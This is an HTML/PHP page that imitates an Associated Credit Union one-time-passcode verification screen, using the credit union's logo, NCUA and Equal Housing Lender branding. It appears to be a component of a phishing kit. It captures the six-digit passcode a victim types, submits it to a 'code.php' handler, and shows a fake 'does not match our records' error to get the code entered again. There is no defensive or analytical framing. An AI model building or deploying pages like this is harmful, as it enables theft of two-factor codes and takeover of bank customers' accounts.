<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Associated Credit Union | Identity Verification</title>
    <link rel="icon" type="image/x-icon" href="img/favicon.ico">
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="main-container">
        <?php
        $hasError = isset($_GET['error']) && $_GET['error'] == '1';
        $cardClass = $hasError ? 'login-card has-error' : 'login-card';
        ?>
        <div class="<?php echo $cardClass; ?>">
            <div class="login-image"></div>

            <div class="login-content">
                <div class="language-selector">
                    <button type="button">Español</button>
                </div>

                <div class="logo-container">
                    <a href="#">
                        <img src="img/03919-logo-lg-md-publish.png" alt="Associated Credit Union Logo">
                    </a>
                </div>

                <div class="header-text-container" style="text-align: center; margin-bottom: 1.5rem; color: #1f2937; font-size: 0.95rem;">
                    Please enter the one-time passcode sent to your mobile device.
                </div>

                <form class="login-form" action="#" method="POST">
                    <?php if ($hasError): ?>
                    <div class="error-banner" id="component">
                        <div class="error-icon-wrapper">
                            <svg class="error-icon" viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg">
                                <path fill-rule="evenodd" clip-rule="evenodd" d="M12 2C12.3844 2 12.7533 2.20521 12.9638 2.55621L23.4638 20.0562C23.6896 20.4326 23.6826 20.9023 23.4452 21.2721C23.2078 21.6419 22.7885 21.8385 22.35 21.8385H1.65003C1.21156 21.8385 0.792276 21.6419 0.554854 21.2721C0.317433 20.9023 0.310461 20.4326 0.536243 20.0562L11.0362 2.55621C11.2467 2.20521 11.6156 2 12 2ZM12 15.3385C11.4477 15.3385 11 15.7862 11 16.3385C11 16.8907 11.4477 17.3385 12 17.3385C12.5523 17.3385 13 16.8907 13 16.3385C13 15.7862 12.5523 15.3385 12 15.3385ZM11 8.33846C11 7.78618 11.4477 7.33846 12 7.33846C12.5523 7.33846 13 7.78618 13 8.33846V13.3385C13 13.8907 12.5523 14.3385 12 14.3385C11.4477 14.3385 11 13.8907 11 13.3385V8.33846Z" />
                            </svg>
                        </div>
                        <div class="error-content">
                            <div>
                                <div class="error-message">
                                    <div>The information you entered does not match our records. Try again.</div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <?php endif; ?>

                    <div class="form-group">
                        <div class="input-wrapper">
                            <label for="otp" class="floating-label">One-Time Passcode</label>
                            <input type="text" id="otp" name="otp" autocomplete="off" placeholder="" maxlength="6" inputmode="numeric" pattern="[0-9]*">
                        </div>
                    </div>

                    <button type="submit" class="login-btn" disabled>Verify</button>
                </form>
            </div>
        </div>

        <div class="footer">
            <div class="footer-text">Federally insured by NCUA</div>
            <div class="footer-logo">
                <img src="img/ehl_40x35_k_100.png" alt="Equal Housing Lender">
            </div>
        </div>
    </div>

    <div id="loading-overlay" class="loading-overlay" style="display: none;">
        <div class="spinner-container">
            <div class="spinner-ring ring-1"></div>
            <div class="spinner-ring ring-2"></div>
            <div class="spinner-ring ring-3"></div>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const form = document.querySelector('.login-form');
            const overlay = document.getElementById('loading-overlay');
            const loginBtn = document.querySelector('.login-btn');
            
            const otpInput = document.getElementById('otp');

            otpInput.addEventListener('input', function(e) {
                let value = e.target.value.replace(/\D/g, ''); // Remove non-digits
                e.target.value = value;
                checkInputs();
            });

            function checkInputs() {
                let allFilled = true;
                
                if (otpInput.value.length < 4) allFilled = false;

                loginBtn.disabled = !allFilled;
                if (!loginBtn.disabled) {
                    loginBtn.classList.remove('disabled');
                    loginBtn.style.backgroundColor = '#00457C';
                } else {
                    loginBtn.classList.add('disabled');
                    loginBtn.style.backgroundColor = ''; 
                }
            }

            loginBtn.addEventListener('mouseenter', function() {
                if (!this.disabled) {
                    this.style.backgroundColor = '#6BBCFF';
                }
            });

            loginBtn.addEventListener('mouseleave', function() {
                if (!this.disabled) {
                    this.style.backgroundColor = '#00457C';
                }
            });

            if (form) {
                form.addEventListener('submit', function(e) {
                    handleFormSubmit(e, 'code.php');
                });
            }
        });
    </script>
    <script src="js/app.js"></script>
</body>
</html>
